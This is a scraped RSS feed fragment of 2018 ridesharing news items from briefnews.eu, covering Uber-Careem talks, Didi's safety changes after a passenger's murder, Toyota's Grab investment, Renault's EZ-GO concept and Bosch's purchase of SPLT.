]]> https://briefnews.eu/chinese-car-giants-team-up-on-a-ridesharing-platform/feed/ 0 Uber is reportedly in talks with Dubai ride-sharing service Careem to merge their Middle East operations https://briefnews.eu/uber-is-reportedly-in-talks-with-dubai-ride-sharing-service-careem-to-merge-their-middle-east-operations/ https://briefnews.eu/uber-is-reportedly-in-talks-with-dubai-ride-sharing-service-careem-to-merge-their-middle-east-operations/#respond Wed, 04 Jul 2018 08:36:38 +0000 http://briefnews.eu/uber-is-reportedly-in-talks-with-dubai-ride-sharing-service-careem-to-merge-their-middle-east-operations/ UberTero Vesalainen/Shutterstock

Uber Technologies is in preliminary talks with rival Careem to combine their Middle Eastern ride-hailing services, Bloomberg reported on Tuesday, citing three people familiar with the matter.

The companies have discussed several potential deal structures and under one of them, Careem’s current leaders would manage the new combined business while retaining one or both of the companies’ local brands, and another proposal would be Uber acquiring the Middle East ride-hailing app, the report added.

See the rest of the story at Business Insider

See Also:

SEE ALSO: Uber won its license back in London

]]> https://briefnews.eu/uber-is-reportedly-in-talks-with-dubai-ride-sharing-service-careem-to-merge-their-middle-east-operations/feed/ 0 Didi Chuxing tightens ride-sharing rules after murder https://briefnews.eu/didi-chuxing-tightens-ride-sharing-rules-after-murder/ https://briefnews.eu/didi-chuxing-tightens-ride-sharing-rules-after-murder/#respond Wed, 13 Jun 2018 20:18:52 +0000 http://briefnews.eu/didi-chuxing-tightens-ride-sharing-rules-after-murder/ Autoblog ist jetzt Teil der Oath-Familie.
Nach EU-Datenschutzgesetzen benötigen wir (Oath), unsere Anbieter und Partner Ihre Einwilligung, um auf Ihrem Gerät Cookies zu speichern, um Ihre Such-, Standort- und Browsing-Daten zu verwenden, Ihre Interessen zu verstehen und Anzeigen auf unseren Produkten zu personalisieren und zu messen.

Oath stellt Ihnen auch personalisierte Anzeigen auf den Produkten unserer Partner zur Verfügung.

Lernen Sie mehr über unsere Datenverwendung und Ihre Auswahlmöglichkeiten.

Wie Daten Ihre Werbeerlebnisse verbessern

Wir möchten Ihnen mit unseren Produkten beste Erfahrungen bieten. Manchmal zeigen wir Ihnen personalisierte Werbung, indem wir anhand Ihrer Aktivitäten auf unseren Seiten und Produkten fundierte Vermutungen über Ihre Interessen anstellen.
Wenn Sie z.B. einen bestimmten Film suchen, können wir Ihren Standort zur Anzeige von Kinos in der Nähe nutzen oder Ihnen anhand dieser Daten Anzeigen für ähnliche Filme zeigen.
Lernen Sie mehr, wie Oath diese Daten nutzt.

Erhalten Sie personalisierte Werbung von Partnern unseres Vertrauens

Dies bedeutet nicht mehr, sondern personalisierte Werbung. Wenn Sie unseren Partnern gestatten, Cookies zu nutzen, um ähnliche Daten zu erfassen wie wir auf unseren Seiten, können diese auf unseren Seiten Werbung anbieten, die Ihren Interessen entspricht (z.B. Angebote zu Produkten, für die Sie sich interessieren) und Ihre Interaktionen mit ihnen messen, melden und analysieren.

Erfahren Sie mehr darüber, wie unsere Partner diese Daten nutzen und wählen Sie „Optionen verwalten“, um Ihre Einstellungen für den Datenaustausch mit unseren Partnern festzulegen.

Wählen Sie „OK“, um unsere Produkte weiter zu nutzen, sonst können Sie nicht auf unsere Seiten und Apps zugreifen. Wählen Sie „Optionen verwalten“, um Ihre Datenverwendung und Freigabeoptionen festzulegen.

Weitere Informationen und Einstellungen finden Sie im Datenschutzcenter.

Tipp: Melden Sie sich an, damit Sie diesen Vorgang nicht auf allen Geräten einzeln durchführen müssen.

Let’s block ads! (Why?)

]]> https://briefnews.eu/didi-chuxing-tightens-ride-sharing-rules-after-murder/feed/ 0 Toyota just sunk another $1 billion into Asian ride-sharing giant Grab https://briefnews.eu/toyota-just-sunk-another-1-billion-into-asian-ride-sharing-giant-grab/ https://briefnews.eu/toyota-just-sunk-another-1-billion-into-asian-ride-sharing-giant-grab/#respond Wed, 13 Jun 2018 04:29:19 +0000 http://briefnews.eu/toyota-just-sunk-another-1-billion-into-asian-ride-sharing-giant-grab/ Grab ToyotaBusiness Insider/Jonathan Loh

 

  • It’s the second major investment in ride-share giant by Toyota
  • Values Grab around $ 7 billion
  • Recently booked its one-billionth ride

 

See the rest of the story at Business Insider

NOW WATCH: THE KRISTIN LEMKAU INTERVIEW: JPMorgan Chase’s CMO explains how she deals with disruption on two fronts at once, why she’s moving some ad dollars back to TV, and why it matters what your credit card feels like

See Also:

]]> https://briefnews.eu/toyota-just-sunk-another-1-billion-into-asian-ride-sharing-giant-grab/feed/ 0 Didi sets new ridesharing safety measures following murder https://briefnews.eu/didi-sets-new-ridesharing-safety-measures-following-murder/ https://briefnews.eu/didi-sets-new-ridesharing-safety-measures-following-murder/#respond Thu, 17 May 2018 02:02:47 +0000 http://briefnews.eu/didi-sets-new-ridesharing-safety-measures-following-murder/

China’s Didi Chuxing is rolling out new safety measures for its Hitch carpooling service after a driver allegedly killed a passenger last week. Drivers will need to verify their identities through facial recognition before each trip — the alleged murderer, who was also found dead over the weekend, was using his father’s Hitch account when he picked up the victim. Drivers using Didi’s other ridesharing programs must pass a facial recognition test before each shift as well.

Hitch suspended activities for a week following the killing, and will not allow trips between 10 PM and 6 AM while it explores additional safety measures for night-time rides. In the meantime, drivers and passengers taking a trip that’s likely to end after 10 PM will receive a safety reminder before starting the ride.

Previously, Hitch let drivers and passengers rate each others’ profile pictures and tag images with sexually charged labels such as “goddesses” and “beauties.” That feature drew criticism, as Bloomberg noted, and now Didi has nixed it. The company is deleting all of those tags and making personal information and profile photos private to each user — default images will replace public profile photos.

In addition, Didi is updating Hitch’s emergency help feature, and it will display the button more prominently within the app. When passengers activate the feature, the app will record audio and prompt a customer representative to monitor the trip, while the passenger’s emergency contacts will receive trip information. Users can also set up the button to call emergency services or Didi’s own emergency hotline. The company is rolling out all of these measures by the end of the month.

Didi is consulting with customers before enabling other safety protocols, such as an opt-in measure to record audio from each ride. Privacy concerns over such recordings might make them a step too far for some, though Didi insists the encrypted data will be stored only on its servers and not users’ phones, and will be deleted after 72 hours. Didi hinted that video recordings may be in the pipeline too.

Ridesharing safety has been in the spotlight this week beyond the Didi murder, with Uber and Lyft both ending forced arbitration in sexual assault cases, freeing victims to seek justice through the courts. Didi, meanwhile, is making inroads in North America: it’s recruiting drivers in Mexico and it received a permit to test self-driving cars in California.

Via: Bloomberg

Source: Didi

]]> https://briefnews.eu/didi-sets-new-ridesharing-safety-measures-following-murder/feed/ 0 ‘Naps aren’t just for babies:’ ridesharing industry fights fatigue risks https://briefnews.eu/naps-arent-just-for-babies-ridesharing-industry-fights-fatigue-risks/ https://briefnews.eu/naps-arent-just-for-babies-ridesharing-industry-fights-fatigue-risks/#respond Thu, 26 Apr 2018 03:51:14 +0000 http://briefnews.eu/naps-arent-just-for-babies-ridesharing-industry-fights-fatigue-risks/ Ride Hailing Health Care Q A

Some ridesharing companies now require rest periods after extended driving shifts, but it can be difficult to enforce and doesn’t sufficiently address driver safety, U.S. sleep medicine society says.

]]> https://briefnews.eu/naps-arent-just-for-babies-ridesharing-industry-fights-fatigue-risks/feed/ 0 Renault’s EZ-GO electric car is ridesharing for the masses https://briefnews.eu/renaults-ez-go-electric-car-is-ridesharing-for-the-masses/ https://briefnews.eu/renaults-ez-go-electric-car-is-ridesharing-for-the-masses/#respond Tue, 06 Mar 2018 08:51:10 +0000 http://briefnews.eu/renaults-ez-go-electric-car-is-ridesharing-for-the-masses/

Renault has managed to outdo the craziness of the Mercedes F 015 concept with its own driverless concept electric car, the EZ-GO. Unveiled at the Geneva Motor Show, it’s a Level 4 autonomous urban EV with a top speed of just 30MPH. Six passengers enter through the massive front door and can see everything (and be seen) thanks to huge swaths of glass on the sides and roof.

The EZ-GO might have low performance, but it’s high-tech. All the self-driving sensors, including radar, LiDAR, ultrasound and cameras are stashed in an antenna on the rear spoiler. Even though there’s no driver, Renault says it has Level 4, rather than Level 5 self-driving, largely because it’s a concept car that will only ever operate on a closed circuit.

Still, its tech would allow it to fit into traffic, change lanes, overtake other vehicles and turn at intersections. It can also move into a safe position if the system detects an incident or fault on the car itself. Renault is working on technology that will allow humans to monitor the vehicle, and safety is further enhanced by the front entry door that keeps passengers away from the flow of traffic.

The self-driving EV has active suspension that can handle rough city roads and raise or lower the car to accommodate passengers, along with four-wheel steering for better city maneuverability. There are also built-in wireless charging units and WiFi.

To access the EZ-GO, you would use an Uber-like app or board from special urban stations. Renault wants to improve on such apps, however, by giving users more choices on how they ride. “If you’re a woman and it’s late, you could ask for girls-only service,” Renault’s manager of concept cars, Stéphane Janin, told Engadget. “Then it becomes a riding pool with no driver and only women in the vehicle so that they will feel safe.”

While it might look like an arty design exercise, the EZ-GO makes sense when you understand what Renault was trying to do. The combination of a huge entry port at the front and the U-shaped seating arrangement allows passengers to walk in standing up, easily sit down and move around. At the same time, there’s a ramp that gives easy access for wheelchairs or parents with strollers.

The half-circle seating arrangement and copious glass serves another purpose, too. “For the shared pool mode, you might not always feel comfortable when you are in a normal car and passengers you don’t know are behind you,” Janin explained. “That’s why we decided to make this U-shape. People are more or less facing each other, so they can see everyone and say hello.”

Another survey told Renault that passengers feel more comfortable in a transparent vehicle. Unlike with private cars, people want to be seen in transit vehicles so that other passengers can’t try anything funny. “When you are in our car, on the bench seat and beside a big window, it’s like you are on a park bench that’s somehow moving,” noted Janin.

The automaker thinks the EZ-GO could accommodate sightseeing, evening parties and other activities besides ride-pooling. The semi-circular seats create a convivial atmosphere with lots of room to move, and the panoramic glass lets you see what’s going on. “Because it’s a super-transparent cabin, you can see everything outside and take pictures,” said Janin. “So you could say, I don’t want to go from A to B, and the service could take you on a 20- or 40-minute tour instead.”

Where Uber calls itself “everyone’s private driver,” Renault sees EZ-GO as an affordable, more sociable service. We’ve designed it according to the needs of the cities,” said Janin. “The idea is to use autonomous and EV tech to allow mobility for all.”

As such, an EZ-GO-like service would provide more freedom to folks who can’t afford to own a car or can’t drive, including the young and elderly. It would also improve cities by reducing traffic, pollution and parking demand.

Steve Dent/AOL

The automaker thinks that autonomous and electric cars could provide not just mobility, but energy storage. It recently unveiled a smart island at Santo Porto, Portugal, with Renault Zoe EVs, solar and wind power, and battery backup systems. The idea is that during off-peak times, folks could charge up their EVs, and when power demand is high, they could discharge some power to the grid. The EZ-GO could do something similar in cities while it’s not in use.

The EZ-GO wouldn’t be sold to the public but is aimed at cities and businesses for transit and private ride-sharing. For passengers, the aim is to make it cheaper than an Uber or cab, but more than a bus. Renault sees it as being useful for pool-type ride-sharing as a way to replace shuttles, and even for tourist use.

The EZ-GO is helping Renault prepare for the day when (and if) true robo-driver services start. That will inevitably reduce the demand for private cars, so all automakers are scrambling to develop their own ride-sharing tech. For now, though, Renault still makes most of its money from gas-burning vehicles. However, Renault said it will release its first EZ-GO-style robo-vehicle in 2022, and that’s not terribly far away.

]]> https://briefnews.eu/renaults-ez-go-electric-car-is-ridesharing-for-the-masses/feed/ 0 A Major Automotive Supplier Joins the Ride-Sharing Ranks https://briefnews.eu/a-major-automotive-supplier-joins-the-ride-sharing-ranks/ https://briefnews.eu/a-major-automotive-supplier-joins-the-ride-sharing-ranks/#respond Thu, 22 Feb 2018 06:18:56 +0000 http://briefnews.eu/a-major-automotive-supplier-joins-the-ride-sharing-ranks/ Bosch-SPLT-1

–

Carpooling has historically been a hard sell to commuters. Whether it’s the convenience of driving themselves or the lure of cheap gasoline, the percentage of Americans who share rides to work peaked at 19.7 percent in 1980 and has fallen by more than half over the past three decades. But with more people rethinking the way they get around amid an influx of new app-based transportation options, one global automotive supplier is banking on carpooling making a comeback.

–

Bosch announced Tuesday it has acquired Splitting Fares, a Detroit startup that provides a software platform through which companies can offer carpooling options to their employees. Bosch recently created a new division, Connected Mobility Services, and its new acquisition will function as an independent subsidiary within that unit.

–

While the likes of Uber and Lyft already deliver ride sharing for the masses, Splitting Fares, better known as SPLT, has essentially carved a niche within ride sharing. It sells its platforms specifically to business and others, such as universities, who want to set up shared transportation for their employees and students. Carpooling rides can be set up as one-time occurrences or as recurring trips.

–

Using an app, workers can connect with others in their organizations who share similar commutes. Then an algorithm computes their fastest route to the office. Bookings can be made both in advance or on demand. With service operational in the United States, Germany, and Mexico, SPLT says it already has approximately 140,000 users. New markets are planned as part of the Bosch deal, although there are no specifics yet available.

–

–

“

–

Bosch says the number of people worldwide using
-ride-sharing services is expected to grow by 60 percent
-to 685 million.
–

–

”

–

–

Like Uber and Lyft, SPLT doesn’t own vehicles that operate within its network—those details are entirely up to customers. Large companies might hire drivers and run their own vehicles on dedicated routes, while employees at smaller businesses could essentially operate as ride-sharing drivers, using their own cars to haul their colleagues to work while earning back some of their commuting costs.

–

Ford has started similar services with its Chariot shuttle subsidiary, which works with businesses to establish routes that help employees get to and from transportation hubs to their places of employment. Chariot lets employers determine those routes and gives them an option to open the service to the general public to help defray the costs of running the service, a blurring of sorts between the business-to-business and business-to-consumer models. For now, SPLT is sticking to the former.

–

While SPLT got its start as part of the Techstars Mobility startup incubator in Detroit in 2015, Bosch has long been among the auto industry leaders in developing autonomous- and connected-car technology. A recent report from Navigant Research ranked the company’s collaboration with Daimler on automated driving systems as the third best among the 19 companies pursuing such technology.

–

The acquisition of SPLT gives Bosch a foothold in the connected-mobility realm. “Smartphones are becoming the most important means of travel,” says Markus Heyn, a member of the company’s board of management.

–

He projects double-digit growth, especially as the company adds new markets. In some respects, it’s easy to see why. By 2020, Bosch says the number of people worldwide using ride-sharing services is expected to grow by 60 percent, to 685 million. That increase comes at a time when the number of commuters is climbing, and, as a result, traffic congestion is also rising.

–

–

In Germany, roughly two-thirds of the working population chooses the car for daily commuting, according to the German Federal Statistical Office. In the United States, 76.3 percent of commuters say they drove alone to work in 2016, according data from the American Community Survey, a part of the U.S. Census, while 9.3 percent carpool. That’s largely in line with 2013 results from the same survey.

–

With the proliferation of smartphones and now ride-sharing options, Bosch, through its SPLT subsidiary, is betting it can begin to reverse what has been a very stubborn trend.

–

]]> https://briefnews.eu/a-major-automotive-supplier-joins-the-ride-sharing-ranks/feed/ 0